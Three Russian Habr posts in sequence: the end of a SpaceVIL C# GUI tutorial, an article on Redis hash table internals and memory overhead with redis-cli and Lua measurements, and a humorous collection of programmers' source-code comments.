В классе `ItemFactory` я описал внешний вид и расположение элементов. Например метод `ItemFactory.GetToolbarButton()` выглядит так:
```
internal static ButtonCore GetToolbarButton()
{
ButtonCore btn = new ButtonCore();
//параметры расположения и внешнего вида
btn.SetBackground(55, 55, 55); //цвет
btn.SetHeightPolicy(SizePolicy.Expand); //по высоте кнопка растянется по размеру контейнера
btn.SetWidth(30); //ширина кнопки
btn.SetPadding(5, 5, 5, 5); //отступ от краев кнопки для добавляемых элементов
//добавим состояние, которое меняет цвет кнопки при наведении на нее курсора мышки
btn.AddItemState(ItemStateType.Hovered, new ItemState(Color.FromArgb(30, 255, 255, 255))); //в классе ItemState указываем цвет
return btn;
}
```
Остальные элементы описаны аналогично.
#### Создание и применение стилей
Как вы могли заметить, я применил стиль для элемента `ItemText`. Поэтому давайте рассмотрим как создавать стили и, сперва, взглянем на код стиля:
```
Style style = Style.GetTextAreaStyle(); //беру уже готовый стиль для этого элемента
style.Background = Color.Transparent; // устанавливаю цвет
Style textedit = style.GetInnerStyle("textedit"); //извлекаю внутренний стиль текстового поля
textedit.Foreground = Color.LightGray; //устанавливаю цвет текста
Style cursor = textedit.GetInnerStyle("cursor"); //извлекаю внутренний стиль для курсора
cursor.Background = Color.FromArgb(0, 162, 232);//устанавливаю цвет курсора
```
Как вы видите, я взял уже готовый стиль из класса `SpaceVIL.Style` для этого элемента и чуть-чуть изменил его, подправив цвета. Каждый стиль может содержать несколько внутренних стилей для стайлинга каждого составляющего сложного элемента. Например, элемент `CheckBox` состоит из контейнера, индикатора и текста, поэтому у его стиля есть внутренние стили для индикатора ("indicator") и текста ("textline").
Класс `Style` покрывает все визуальные свойства элементов и в дополнение к этому с помощью стиля можно интерактивно менять форму элемента, например, с эллипса на прямоугольник и обратно. Чтобы применить стиль нужно вызвать у элемента метод `SetStyle(Style style)`, как уже было показано выше:
```
ItemText.SetStyle(StyleFactory.GetTextAreaStyle());
```
#### Создание собственного элемента
Теперь перейдем к созданию элемента. Сам элемент необязательно должен быть чем-то конкретным, это может быть обычный стек в который вы добавите несколько других элементов. Например, в примере выше у меня есть панель инструментов, в которой три элемента. Сама панель инструментов это просто горизонтальный стек. Все можно было бы оформить в виде отдельного элемента и назвать его ToolBar. Сам по себе он ничего не делает, зато в классе `MainWindow` сократилось бы количество строк и понимание разметки было бы еще проще, к тому же это еще и способ ослабить первое строгое правило, хотя, конечно, в итоге все равно все подчиняется ему. Ладно, панель инструментов мы больше не трогаем. Нам нужен элемент для списка, который будет отображать сгенерированного персонажа.
Чтобы было интереснее, определим состав элемента посложнее:
* Иконка персонажа, цвет которой указывает на принадлежность к фэнтезийной расе.
* Имя, фамилия и раса персонажа в текстовом виде.
* Кнопка быстрой подсказки по персонажу (нужна для демонстрации фильтрации событий).
* Кнопка удаления персонажа, если он нам не подходит.
Чтобы создать класс собственного элемента нужно унаследовать его от любого интерактивного элемента из SpaceVIL, если нам подходит хоть какой-нибудь класс в его составе, но для текущего примера мы соберем элемент с нуля, поэтому унаследуем его от базового абстрактного класса интерактивных элементов — `SpaceVIL.Prototype`. Так же нам нужно реализовать метод `InitElements()`, в котором мы опишем внешний вид элемента, расположение и вид вложенных элементов, а так же порядок добавления вложенных элементов. Сам элемент назовем `CharacterCard`.
Давайте перейдем к разбору кода готового элемента:
**Код элемента CharacterCard**
```
using System;
using System.Drawing;
using SpaceVIL;
using SpaceVIL.Core;
using SpaceVIL.Decorations;
using SpaceVIL.Common;
namespace CharacterEditor
{
//наследуем класс от SpaceVIL.Prototype
internal class CharacterCard : Prototype
{
private Label _name;
private CharacterInfo _characterInfo = null;
//конструктор принимает в качестве параметра класс CharacterInfo,
//в котором указаны все базовые параметры персонажа
internal CharacterCard(CharacterInfo info)
{
//задаем внешний вид и размеры элемента
//размер фиксированный по высоте и растягивающийся по ширине
SetSizePolicy(SizePolicy.Expand, SizePolicy.Fixed);
SetHeight(30); //высота нашего элемента
SetBackground(60, 60, 60); //цвет элемента
SetPadding(10, 0, 5, 0); //отступы для вложенных элементов
SetMargin(2, 1, 2, 1); //отступы самого элемента
AddItemState(ItemStateType.Hovered, new ItemState(Color.FromArgb(30, 255, 255, 255)));
_characterInfo = info; //сохраняем ссылку на информацию о персонаже
//устанавливаем имя персонажа и расу в Label
_name = new Label(info.Name + " the " + info.Race);
}
public override void InitElements()
{
//иконка расы
ImageItem _race = new ImageItem(DefaultsService.GetDefaultImage(
EmbeddedImage.User, EmbeddedImageSize.Size32x32), false);
_race.KeepAspectRatio(true); //сохраняем соотношение сторон
//ширина ImageItem будет фиксированной
_race.SetWidthPolicy(SizePolicy.Fixed);
_race.SetWidth(20); //ширина ImageItem
//выравниваем ImageItem слева и по центру по вертикали
_race.SetAlignment(ItemAlignment.Left, ItemAlignment.VCenter);
//устанавливаем оверлей (замена) цвета картинки согласно расе
switch (_characterInfo.Race)
{
case CharacterRace.Human:
//синий для людей
_race.SetColorOverlay(Color.FromArgb(0, 162, 232));
break;
case CharacterRace.Elf:
//зеленый для эльфов
_race.SetColorOverlay(Color.FromArgb(35, 201, 109));
break;
case CharacterRace.Dwarf:
//оранжевый для гномов
_race.SetColorOverlay(Color.FromArgb(255, 127, 39));
break;
}
//параметры Label _name
_name.SetMargin(30, 0, 30, 0); //отступ слева и справа
//параметры кнопки быстрой подсказки
ButtonCore infoBtn = new ButtonCore("?");
infoBtn.SetBackground(Color.FromArgb(255, 40, 40, 40));
infoBtn.SetWidth(20);
infoBtn.SetSizePolicy(SizePolicy.Fixed, SizePolicy.Expand);
infoBtn.SetFontStyle(FontStyle.Bold);
infoBtn.SetForeground(210, 210, 210);
infoBtn.SetAlignment(ItemAlignment.VCenter, ItemAlignment.Right);
infoBtn.SetMargin(0, 0, 20, 0);
infoBtn.AddItemState(ItemStateType.Hovered,
new ItemState(Color.FromArgb(0, 140, 210)));
//настройка фильтра событий
//кнопка info не пропустит после себя ни одного события
infoBtn.SetPassEvents(false);
//установка обработчиков событий
//при наведении курсора на кнопку info
//устанавливаем состояние hover на весь элемент
infoBtn.EventMouseHover += (sender, args) =>
{
SetMouseHover(true);
};
//при клике мыши на кнопку info вызываем всплывающее
//окошко с базовой информацией о персонаже
infoBtn.EventMouseClick += (sender, args) =>
{
//иконка расы ImageItem
ImageItem race = new ImageItem(DefaultsService.GetDefaultImage(
EmbeddedImage.User, EmbeddedImageSize.Size32x32), false);
race.SetSizePolicy(SizePolicy.Fixed, SizePolicy.Fixed);
race.SetSize(32, 32);
race.SetAlignment(ItemAlignment.Left, ItemAlignment.Top);
race.SetColorOverlay(_race.GetColorOverlay());
//всплывающее окно
PopUpMessage popUpInfo = new PopUpMessage(
_characterInfo.Name + "\n" +
"Age: " + _characterInfo.Age + "\n" +
"Sex: " + _characterInfo.Sex + "\n" +
"Race: " + _characterInfo.Race + "\n" +
"Class: " + _characterInfo.Class);
//время действия всплывающей подсказки 3 секунды
popUpInfo.SetTimeOut(3000);
popUpInfo.SetHeight(200); //высота всплывающего окна
//отображаем всплывающее окно, в качестве параметра
//передаем текущий хендлер окна
popUpInfo.Show(GetHandler());
//добавим иконку расы на всплывающее окошко
popUpInfo.AddItem(race);
};
//кнопка удаления персонажа
ButtonCore removeBtn = new ButtonCore();
removeBtn.SetBackground(Color.FromArgb(255, 40, 40, 40));
removeBtn.SetSizePolicy(SizePolicy.Fixed, SizePolicy.Fixed);
removeBtn.SetSize(10, 10);
removeBtn.SetAlignment(ItemAlignment.VCenter, ItemAlignment.Right);
removeBtn.SetCustomFigure(new CustomFigure(false,
GraphicsMathService.GetCross(10, 10, 2, 45)));
removeBtn.AddItemState(ItemStateType.Hovered,
new ItemState(Color.FromArgb(200, 95, 97)));
//опишем событие при нажатии кнопкой мыши на removeBtn
removeBtn.EventMouseClick += (sender, args) =>
{
RemoveSelf(); //удаляем элемент
};
//добавляем все созданные элементы в наш CharacterCard
AddItems(_race, _name, infoBtn, removeBtn);
}
internal void RemoveSelf()
{
//берем родителя и делаем запрос на удаление самого себя
GetParent().RemoveItem(this);
}
public override String ToString()
{
return _characterInfo.ToString();
}
}
}
```
В примере я использовал вспомогательный класс, в котором содержатся все базовые характеристики персонажа такие как имя, фамилия, раса, пол, возраст, класс специализации, характеристики, умения и биография. В этом классе все параметры, кроме умений и биографии (предполагается, что пользователь придумает их самостоятельно), сгенерированы.
#### Обработка событий и их фильтрация
В предыдущем примере было описано два типа событий: MouseHover и MouseClick. Базовых событий на текущий момент всего 11, вот список:
* EventMouseHover
* EventMouseLeave
* EventMouseClick
* EventMouseDoubleClick
* EventMousePress
* EventMouseDrag
* EventScrollUp
* EventScrollDown
* EventKeyPress
* EventKeyRelease
* EventTextInput
Сложные элементы имеют свои уникальные события, но вышеперечисленные события доступны (с оговорками) всем.
Синтаксис обработки событий тривиален и выглядит так:
```
//Для C#
item.EventMouseClick += (sender, args) =>
{
//делаем что-нибудь
};
```
```
//Для Java
item.eventMouseClick.add((sender, args) -> {
//делаем что-нибудь
});
```
Теперь перейдем к фильтрации событий. По умолчанию события проходят сквозь пирамиду элементов. В нашем примере событие нажатия кнопкой мыши на кнопку `infoBtn` сначала получит сама кнопка, потом это событие получит элемент `CharacterCard`, далее `ListBox`, в котором он будет находится, потом `SplitArea`, `VerticalStack` и в конце дойдет до базового элемента `WСontainer`.
На каждом элементе можно обработать событие `EventMouseClick` и все эти действия в указанном порядке будут выполнены, но что если при нажатии на какой-нибудь элемент мы не хотим, чтобы это событие прошло дальше по цепочке? Для этого как раз и есть фильтрация событий. Давайте нагляднее для примера покажу на элементе `CharacterCard`. Представьте, что в `CharacterCard` описано событие `EventMouseClick`, которое в текстовое поле для редактирования персонажа вставляет в текстовом виде информацию из привязанного `CharacterInfo`. Такое поведение будет логично — мы нажимаем на элемент и видим все параметры персонажа. Далее мы редактируем персонажа, придумывая биографию и умения, либо изменяя характеристики. В какой то момент мы захотели посмотреть краткую информацию о еще одном сгенерированном персонаже из списка и нажимаем на кнопку infoBtn. Если мы не отфильтруем события, то после вызова всплывающей подсказки выполнится EventMouseClick на самом элементе `CharacterCard`, которое, как мы помним, вставляет текст в поле для редактирования персонажа, что приведет к потере изменений, если мы не сохраним результаты, да и само поведение приложения будет выглядеть нелогично. Поэтому, чтобы событие выполнилось только на кнопке мы можем установить фильтр используя метод `infoBtn.SetPassEvents(false)`.
Если вызвать этот метод таким образом, кнопка перестанет пропускать любые события после себя. Допустим мы не хотим пропускать события только щелчков мыши, тогда можно было бы вызвать метод с другими параметрами, например, `infoBtn.SetPassEvents(false, InputEventType.MousePress, MouseRelease)`.
Таким образом можно фильтровать события на каждом шаге достигая нужного результата.
Можно еще раз посмотреть на приложение, которое получилось в итоге. Конечно же, тут опускаются детали реализации бизнес-логики, в частности, генерация персонажей, их навыков и многое другое, что уже не относится напрямую к SpaceVIL. На полный код приложения можно посмотреть по ссылке на GitHub, где есть уже несколько других примеров по работе со SpaceVIL, как на C#, так и на Java.
**Скриншот готового приложения CharacterEditor**
Заключение
----------
В заключение хотелось бы напомнить, что фреймворк находится в активной разработке, так что возможны сбои и падения, так же некоторые возможности могут быть пересмотрены и конечный результат использования может кардинально отличаться от текущего, поэтому, если текущий вариант фреймворка вас устраивает, то не забудьте сделать бэкап этой версии, потому как не могу гарантировать, что новые версии будут обратно совместимыми. Некоторые моменты могут быть переделаны для повышения комфорта и быстроты использования SpaceVIL и пока что не хочется тащить за собой старые и отброшенные идеи. Так же работа SpaceVIL не тестировалась на видеокартах от AMD, из-за отсутствия соответствующего оборудования. Тестирование проводилось на видеокартах от Intel и NVidia. Дальнейшее развитие SpaceVIL будет сконцентрировано на добавлении нового функционала (например, в данный момент нет поддержки градиентов) и оптимизации.
Так же хотелось бы упомянуть об ограничении, которое стоит помнить при написании кроссплатформенного приложения с использованием данной технологии — не рекомендуется использовать диалоговые окна (и вообще создавать мультиоконные приложения в ОС Linux из-за ошибок рендеринга), диалоговые окна можно с легкостью заменить диалоговыми элементами. Mac OS X же вообще запрещает создавать мультиоконные приложения, ибо требует, чтобы GUI был запущен только в главном потоке приложения.
Фреймворк нужной версии и все представленные примеры тестовых программ вы можете скачать по следующим ссылкам. Первая версия документации доступна так же по ссылке.
Напоследок еще немного визуальной демонстрации. Ниже представлены приложения, которые написаны на технологии SpaceVIL, что может дать вам некоторое представление, чего можно добиться используя SpaceVIL.
**Скриншоты приложений, написанных с помощью SpaceVIL**
#### Ссылки
* [SpaceVIL](http://spvessel.com)
* [Примеры кодов на GitHub](https://github.com/spvessel/spacevil) | https://habr.com/ru/post/448790/ | null | ru | null |
# Под капотом Redis: Хеш таблица (часть 1)
Если вы знаете, почему после выполнения `hset mySey foo bar` мы потратим не менее 296 байт оперативной памяти, почему инженеры instagram не используют строковые ключи, зачем всегда стоит менять *hash-max-ziplist-entries*/*hash-max-ziplist-val* и почему тип данных, лежащий в основе *hash* это и часть list, sorted set, set — не читайте. Для остальных я попробую об этом рассказать. Понимание устройства и работы хеш таблиц в Redis критически важно при написания систем, где важна экономия памяти.
О чём эта статья — какие расходы несёт Redis на хранения самого ключа, что такое *ziplist* и *dict*, когда и для чего они используются, сколько занимают в памяти. Когда *hash* хранится в *ziplist*, когда в *dicth* и что нам это даёт. Какие советы из модных статей об оптимизации Redis не стоит воспринимать всерьёз и почему.
> Хочу сразу попросить прощения за то, что разбил материал на две статьи. Закончив часть о словаре, я понял, что вторая часть — про ziplist, получается немногим меньше первой. В итоге, после тестов на коллегах, принял решение разбить её на две части.
Сначала нам потребуется разобраться с тем, как работают отдельные структуры, которые лежат в основе [Hashes](http://redis.io/topics/data-types). Затем посчитаем затраты на хранение данных. Вам будет проще понимать материал, если вы уже знаете что такое redisObject и как Redis [хранит строки](http://habrahabr.ru/post/271487/#first_unread).
> Есть некая путаница, в том, что структура hashes воспринимается как хеш таблица. Под капотом есть отдельный тип dict, который представляет собой настоящую хеш таблицу. Сама же структура hashes гибрид из dict и ziplist. Нам потребуется *большое* вступление о том, как устроены и работают хеш таблицы. Показав статью без этого материала нескольким свои коллегами убедился, что без него всё становится более запутанным.
>
>
В Redis вы управляете тем, каким внутренним типом данных будет представлен конкретный hash ключ. Переменная *hash-max-ziplist-entries* определяет максимальное количество элементов в hash при котом можно использовать кодировку *REDIS\_ENCODING\_ZIPLIST*. Например, при hash-max-ziplist-entries = 100 ваш hash будет представлен как ziplist, пока в нём будет менее 100 элементов. Как только элементов станет больше, он будет конвертирован в *REDIS\_ENCODING\_HT* (dict). Аналогично работает *hash-max-ziplist-val* — пока длина любого значения любого отдельного поля в hash не превышает *hash-max-ziplist-val* будет использоваться ziplist. Параметры работают в паре — внутреннее представление из ziplist в dict случится как только будет превышен любой из них. По умолчанию, любой hash всегда имеет кодировку ziplist.
*Словари (dict)* — ключевая структура Redis. Не только для hashes, но и для list, zset, set. Это основная структура, которая используется в Redis для хранения любых связок данных вида ключ — значение. Словари в Redis — это классическая хеш таблица, которая поддерживает операции вставки, замены, удаления, поиска и получения случайного элемента. Всю реализацию словарей можно найти в dict.h и disc.c в исходниках Redis.
У любой хеш таблицы есть ряд параметров, критически важных для понимания эффективности её работы и выбора правильной реализации. Помимо важной для любой структуры данных *алгоритмической сложности* это так же ряд факторов, которые напрямую зависят от условий использования. В этом ключе особенно интересны *коэффициент заполнения*(**fill factor**) и *стратегия изменения размера*. Последний особенно важен в любой системе, работающей в реальном времени, так как любая из имеющихся теоретических реализаций всегда ставит вас перед выбором — тратить много оперативной памяти или процессорного времени. Redis использует так называемое *инкриментарное изменение размера*(**incremental resizing**). Хотя есть предложения попробовать и linear hashing, monotonic keys, consistent hashing, resizing by copying в зависимости от специфики хеша.
Реализация инкриментарного изменения размера (функции *dictRehashMilliseconds*, *dictRehash* в dict.c), сводится к тому, что:
1. При изменении размера таблицы, мы выделяем новую хеш таблицу заведомо большую чем уже имеющаяся (и не меняем старую). Как и со строками, Redis станет удваивать количество слотов в новой таблице. Вместе с этим, любой запрашиваемый размер (включая первоначальный) всегда будет выровнен вверх до ближайшей степени двойки. Например, вам нужно 9 слотов, выделено будет — 16. Минимальная граница для новой таблицы определяется константой этапа компиляции *DICT\_HT\_INITIAL\_SIZE* (по умолчанию 4, определена в dict.h).
2. Во время каждой операции чтения/записи заглядываем в обе таблицы.
3. Все операции вставки осуществляем только в новую таблицу.
4. При любой операции перемещаем **n** элементов из старой таблицы в новую.
5. Удаляем старую таблицу, если все элементы перенесены.
В случае с Redis, **n** — это количестве ключей, которые успел перенести сервер за 1 миллисекунду с шагов 1000. Иными словами, 1 шаг рехешинга — это не менее 1000 элементов. Это важно, поскольку при использовании ключей с длинными строковыми значениями такая операция может значительно превышать 1 мс, вызывая зависание сервера. Дополнительный аспект — большое пиковое потребление памяти при рехешинге таблицы, остро проявляющее себя на хешах с больших количеством «длинных» ключей. При расчётах мы будет рассматривать таблицы вне хеширования, помня, однако, что если в нашей ноде Redis есть большая таблица, есть высокая вероятность отказа от обслуживания при невозможности изменить её размер. Например, если вы арендуете бюджетный Redis на [heroku](https://www.heroku.com/redis)(всего 25 мб памяти).
*Коэффициент заполнения* (константа *dict\_force\_resize\_ratio* равна по умолчанию 5) определяет степень разреженности в словаре и то, когда Redis начнёт процесс удвоения размера текущего словаря. Текущее значение коэффициента заполнения определяется как отношение общего числа элементов в хеш таблице к числу слотов. Иными словами, если у нас всего 4 слота и 24 элемента (распределённых между ними) Redis примет решение об удвоении размера (24 / 4 > 5). Подобная проверка происходит при каждом обращении к любому ключу словаря. Если количество элементов станет равным или превысит число слотов — Redis так же попытается удвоить количество слотов.
**Посмотрите на эту структуру в исходниках**
```
typedef struct dict {
dictType *type;
void *privdata;
dictht ht[2];
long rehashidx; /* rehashing not in progress if rehashidx == -1 */
int iterators; /* number of iterators currently running */
} dict;
typedef struct dictht {
dictEntry **table;
unsigned long size;
unsigned long sizemask;
unsigned long used;
} dictht;
typedef struct dictEntry {
void *key;
union {
void *val;
uint64_t u64;
int64_t s64;
double d;
} v;
struct dictEntry *next;
} dictEntry;
```
Каждый словарь построен вокруг использования трех структур — *dict*, *dictht* и *dictEntry*. Dict — корневая структура, в её поле *ht* хранится от 1 до 2 (во время решенга) таблиц dictht с перечнем слотов. В свою очередь *dictht* хранит связанный список из *dictEntry*. Каждый *dictEntry* хранит в себе указатель на ключ и значение (в виде указателя или double/uint64\_t/int64\_t). Если вы используете в качестве значение число — *dictEntry* будет хранить число, храните строку — будет сохранён указатель на *redisObject* с sds строкой на борту.
Когда Redis обращается к конкретному ключу внутри хеш таблицы:
1. С помощью хеширующей функции находится нужный слот (для поиска слота в настоящее время используется хеширующая функция [MurMur2](https://ru.wikipedia.org/wiki/Murmur2)).
2. Все значения слота перебираются один за одним (связный список), сравнивая ключи.
3. Выполняется запрашиваемая операция над dictEntry (с ключом и значением)
В справке к [HSET](http://redis.io/commands/hset) или [HGET](http://redis.io/commands/hget) написано, что это операции выполняемые за **О(1)**. Верьте с осторожностью: большую часть времени ваш hset будет занимать **O(n)**. В больших таблицах (более 1000 элементов) с активной записью hget так же будет занимать **O(n)**.
> Ответ на вопрос сколько памяти будет использовано на самом деле, зависит от операционной системы, компилятора, типа вашего процесса и используемого аллокатора(в redis по умолчанию jemalloc). Все дальнейшие расчёты я привожу для redis 3.0.5 собранном на 64 битном сервере под управлением centos 7.
>
>
Теперь можно поcчитать, сколько памяти потратится при вызове `hset mySet foo bar`. Оверхед на создание пустого словаря:
* **dictEntry**: 3 \* size\_of(pointer)
* **dictht**: 3 \* size\_of(unsigned longs) + size\_of(pointer) = 24 + size\_of(pointer)
* **dict**: 2 \* size\_of(dictht) + 2 \* size\_of(int) + 2 \* size\_of(pointer) = 56 + 4 \* size\_of(pointer)
Если собрать всё вместе, то получаем формулу для вычисления приблизительных накладных расходов для хранения n элементов:
```
56 + 2 * size_of(pointer) + 3 * next_power(n) * size_of(pointer)
------------------------- -------------------------------------
| |
` dict + dictht `dictEntry
```
Эта формула не учитывает расходы на хранение самого ключа и значения. Ключ всегда представляет собой sds строку в redisObject. Значение, в зависимости от типа может быть строкой sds или нативными числами (целыми или с плавающей точкой). Проверим для `hset mySet foo bar`, помня про то, что минимальное количество слотов (dictEntry) в новом словаре равно *DICT\_HT\_INITIAL\_SIZE(4)*:
> 56 + 2 \* 8 + 3 \* 4 \* 8 = 168 + 2 \* 56 = 280 байт (будет выровнено до 296 байт).
>
>
Проверяем:
```
config set hash-max-ziplist-entries 0
+OK
config set hash-max-ziplist-value 1
+OK
hset mySet foo bar
:1
debug object mySet
+Value at:0x7f44894d6340 refcount:1 encoding:hashtable serializedlength:9 lru:5614464 lru_seconds_idle:6
```
Что при этом показывает *info memory*? Он покажет вам, что потрачено 320 байт. На 24 байта больше, чем мы ожидали. Эта память — расходы на выравнивание при выделении памяти.
Как при этом был сохранён сам ключ **mySet** и как Redis находит наш hash по этому имени? В самом сердце Redis лежит структура *redisDb* (redis database representation, в redis.h). Она содержит единый словарь dict для всех ключей. Точно такой же, о котором рассказывалось выше. Это важно, так как даёт представление о расходах на хранение базы ключей и даст нам основу для понимания советов о том, что в одном экземпляре не стоит хранить много простых ключей.
Давайте посмотрим, что пишут в статье [хранение сотен миллионов простых ключей](http://instagram-engineering.tumblr.com/post/12202313862/storing-hundreds-of-millions-of-simple-key-value). Если вам нужно хранить много пар ключ-значение не используйте строковые ключи, используйте хеш таблицы.
[Гист с тестом](https://gist.github.com/mikeyk/1329319) из статьи instagram, мы напишем на LUA, чтобы не потребовалось для проверки ничего кроме запущенного Redis:
```
flushall
+OK
info memory
$225
# Memory
used_memory:508408
eval "for i=0,1000000,1 do redis.call('set', i, i) end" 0
$-1
info memory
$226
# Memory
used_memory:88578952
```
Для хранения 1,000,000 целочисленных ключей нам потребовалось **чуть больше 88 мб**. Теперь сохраним те же данные в хеш таблицу, равномерно распределяя ключи между 2000 хеш таблиц:
```
flushall
+OK
info memory
$227
# Memory
used_memory:518496
eval "for i=0,1000000,1 do local bucket=math.floor(i/500); redis.call('hset', bucket, i, i) end" 0
$-1
info memory
$229
# Memory
used_memory:104407616
```
Для хранения тех же данных с целочисленными полями мы затратили **чуть больше 103 мб**. Однако, стоит нам попытаться сохранить скажем 10,000,000 ключей ситуация резко измениться, а именно **~970 мб** против **~165 мб** (и все они в накладных расходах на хранение в системной хеш таблице ключей). В целом правило «если у вас сотни миллионов ключей, не используйте строковые ключи» — правда.
Давайте рассмотрим ещё один аспект. Очень часто описывая оптимизации такого вида, подразумевается что вы имеете много ключей вида *сущность: идентификатор* (например `set username:4566 RedisMan`) и предлагают перейти к использованию хеш таблиц
*bucket:id идентификатор значение* (например `hset usernames:300 4566 RedisMan`). Важно понимать, что тут происходит частичная подмена понятий — sds строка `username:4566`превращается в поле-ключ 4566 с кодировкой *REDIS\_ENCODING\_INT*. Это означает, что вместо sds строки в redisObject стали использовать число, тем самым минимальные 32 байта на sds строку(после выравнивания jemalloc) превратились в 4 байта.
Давайте форсируем кодировку хеш таблиц в ziplist:
```
config set hash-max-ziplist-entries 1000
+OK
config set hash-max-ziplist-value 1000000
+OK
flushall
+OK
eval "for i=0,1000000,1 do local b=math.floor(i/500); redis.call('hset', 'usernames:' ..b, i, i) end" 0
$-1
info memory
$228
# Memory
used_memory:16816432
```
На хранение наших данных ушло всего 16 мб или 72 мб экономии(**в 5 раз меньше**) c моим примером на 1,000,000 ключей. Заманчиво? К объяснению перейдём во второй части статьи.
В промежуточном заключении стоит сформулировать несколько важных выводов для нагруженной системы, которая должна экономить память:
* Используйте числовые имена ключей, значений, полей в хеш таблицах везде, где это возможно. Не используйте префиксы/постфиксы.
* При проектировании систем, активно использующих Redis, исходите из принципа: одна совокупность требований к данным — один Redis. Хранить разнородные данные сложно из-за настроек hash-max-ziplist-entries/hash-max-ziplist-value и разграничению ключей без префиксов.
* Заменяя простые ключи на группы хеш таблиц, помните о том, что ваша оптимизация работает при количестве ключей от миллиона и выше.
* Если в вашем экземпляре миллионы и сотни миллионов ключей — вы несёте огромные расходы на хранение их в системном словаре и перерасход памяти на резерв системного словаря. Скажем, для 100 млн ключей это составит порядка 2,5 гб только на сам системный dict без учёта ваших данных.
* Если вы проходите под значения hash-max-ziplist-entries/hash-max-ziplist-value и ваши данные хранятся в ziplist, вместо dict вы можете получить экономию памяти, выраженную в сотнях процентов. И заплатите за это высоким использованием CPU. Об этом далее.
Оглавление:
* [Под капотом Redis: Строки](http://habrahabr.ru/post/271487/)
* Под капотом Redis: Хеш таблица (часть 1)
* [Под капотом Redis: Хеш таблица (часть 2) и Список](http://habrahabr.ru/post/272089/)
Материалы, использованные при написании статьи:
* [redis.io/topics/memory-optimization](http://redis.io/topics/memory-optimization)
* [Back To Basics: Hashtables Part 2](http://openmymind.net/Back-To-Basics-Hasthables-Part-2/) by [Karl Seguin](https://twitter.com/karlseguin)
* [en.m.wikipedia.org/wiki/Hash\_table](https://en.m.wikipedia.org/wiki/Hash_table)
* [Redis Internal Data Structure: Dictionary](http://blog.wjin.org/posts/redis-internal-data-structure--dictionary.html) by [Wei Jin](https://www.linkedin.com/in/wjin0)
* Исходники [Redis 3.0.5](https://github.com/antirez/redis/tree/3.0.5/src)
* [Великолепный ответ на stackexchange](http://programmers.stackexchange.com/questions/49550/which-hashing-algorithm-is-best-for-uniqueness-and-speed/145633#145633) о скорости и проблемах с коллизиями в разных алгоритмах хеширования
* [github.com/sripathikrishnan/redis-rdb-tools/wiki/Redis-Memory-Optimization](https://github.com/sripathikrishnan/redis-rdb-tools/wiki/Redis-Memory-Optimization)
* [instagram-engineering.tumblr.com/post/12202313862/storing-hundreds-of-millions-of-simple-key-value](http://instagram-engineering.tumblr.com/post/12202313862/storing-hundreds-of-millions-of-simple-key-value) | https://habr.com/ru/post/271205/ | null | ru | null |
# // бухой, пофиксю позже
```
long long ago; /* in a galaxy far far away */
```
```
//
// _oo0oo_
// o8888888o
// 88" . "88
// (| -_- |)
// 0\ = /0
// ___/`---'\___
// .' \\| |// '.
// / \\||| : |||// \
// / _||||| -:- |||||- \
// | | \\\ - /// | |
// | \_| ''\---/'' |_/ |
// \ .-\__ '-' ___/-. /
// ___'. .' /--.--\ `. .'___
// ."" '< `.___\_<|>_/___.' >' "".
// | | : `- \`.;`\ _ /`;.`/ - ` : | |
// \ \ `_. \_ __\ /__ _/ .-` / /
// =====`-.____`.___ \_____/___.-`___.-'=====
// `=---='
//
//
// ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
//
// 佛祖保佑 永无BUG
//
```
*«Слава богу, багов нет»*
```
#define TRUE FALSE //Happy debugging suckers
```
```
//
// Dear maintainer:
//
// Once you are done trying to 'optimize' this routine,
// and have realized what a terrible mistake that was,
// please increment the following counter as a warning
// to the next guy:
//
// total_hours_wasted_here = 42
```
// Magic. Do not touch.
*Коммент к AngularJS.*
*Коммент к исходникам Quake III Arena.*
*[view-source:http://theoatmeal.com/](http://view-source:http://theoatmeal.com/)*
*[Резюме Сергея Брина](http://infolab.stanford.edu/~sergey/resume.html)*
```
/* Stupid CSS hack because IE sucks */
```
*На сайте microsoft.com*
*На сайте Amazon.com*
*На сайте Amazon.com*
[Welcome to Flickr — Photo Sharing](http://www.flickr.com/)
*[Home of the Mozilla Project](http://www.mozilla.org/)*
*[Flipkart](http://www.flipkart.com/)*
```
.
_
_._ _..._ .-', _.._(`))
'-. ` ' /-._.-' ',/
) \ '.
/ _ _ | \
| a a / |
\ .-. ;
'-('' ).-' ,' ;
'-; | .'
\ \ /
| 7 .__ _.-\ \
| | | ``/ /` /
/,_| | /,_/ /
/,_/ '`-'
```
*"...just crawl it."*
**MS-DOS Operating System:**
Source: [Farts and f-bombs: see the hidden jokes in Microsoft's early code](http://www.theverge.com/2014/3/26/5549208/microsoft-early-code-contains-hidden-jokes)
Запись в .EXE file:
```
If you can read this, you too could become a great hacker!
```
*Source Code of SpankBang*
*Вебсайт анимэшки.*
```
/**
* For the brave souls who get this far: You are the chosen ones,
* the valiant knights of programming who toil away, without rest,
* fixing our most awful code. To you, true saviors, kings of men,
* I say this: never gonna give you up, never gonna let you down,
* never gonna run around and desert you. Never gonna make you cry,
* never gonna say goodbye. Never gonna tell a lie and hurt you.
*/
```
```
//When I wrote this, only God and I understood what I was doing
//Now, God only knows
```
```
// Autogenerated, do not edit. All changes will be undone.
```
```
// sometimes I believe compiler ignores all my comments
```
```
// I dedicate all this code, all my work, to my wife, Darlene, who will
// have to support me and our three children and the dog once it gets
// released into the public.
```
```
// drunk, fix later
```
```
Catch (Exception e) {
//who cares?
}
```
```
/*
* You may think you know what the following code does.
* But you dont. Trust me.
* Fiddle with it, and youll spend many a sleepless
* night cursing the moment you thought youd be clever
* enough to "optimize" the code below.
* Now close this file and go play with something else.
*/
```
```
//This code sucks, you know it and I know it.
//Move on and call me an idiot later.
```
```
// If this comment is removed the program will blow up
```
```
//Dear future me. Please forgive me.
//I can’t even begin to express how sorry I am.
```
```
options.BatchSize = 300; //Madness? THIS IS SPARTA!
```
```
// I have to find a better job
```
```
// Catching exceptions is for communists
```
```
// Houston, we have a problem
```
```
// If I from the future read this I’ll back in time and kill myself.
```
```
// This is crap code but it’s 3 a.m. and I need to get this working
```
```
//Mr. Compiler, please do not read this.
```
```
B FUBAR # OK, I give up. Halt & take a dump!
```
```
/* don't ask, don't touch */
```
```
/* If you are reading this, I want you to know that I am probably on some kind of FBI watch-list because I googled “how to kill all children while leaving the parents alive”. So yeah, Linux is brutal */
```
```
/* ^ ^
* \______ ______/
* \ * \ / * /
* ----- ------ /----\
* || -< Boo! |
* /__\ \----/
* \______________/
* \/\/\/\/\/\/\/
* ------------
*/
```
```
/*
